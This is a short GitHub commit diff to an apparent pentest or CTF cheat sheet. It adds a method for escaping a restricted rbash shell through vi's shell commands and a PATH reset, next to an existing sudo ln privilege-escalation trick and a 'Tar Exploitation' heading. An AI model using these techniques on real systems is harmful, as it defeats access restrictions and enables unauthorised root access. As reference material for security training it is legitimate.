Update Cheat Sheet.md

This commit is contained in:
ARZ 2021-04-12 04:55:52 +05:00 committed by GitHub
parent 4268bc7175
commit f7d3466a7c
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -189,6 +189,17 @@ sudo /usr/bin/ln -sf /tmp/root /usr/bin/ln
sudo /usr/bin/ln
```
### Escaping restricted Shell (rbash)
Using vi editor
```
: set shell =/bin/sh
: shell
```
Then setting the PATH variable
`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`
### Tar Exploitation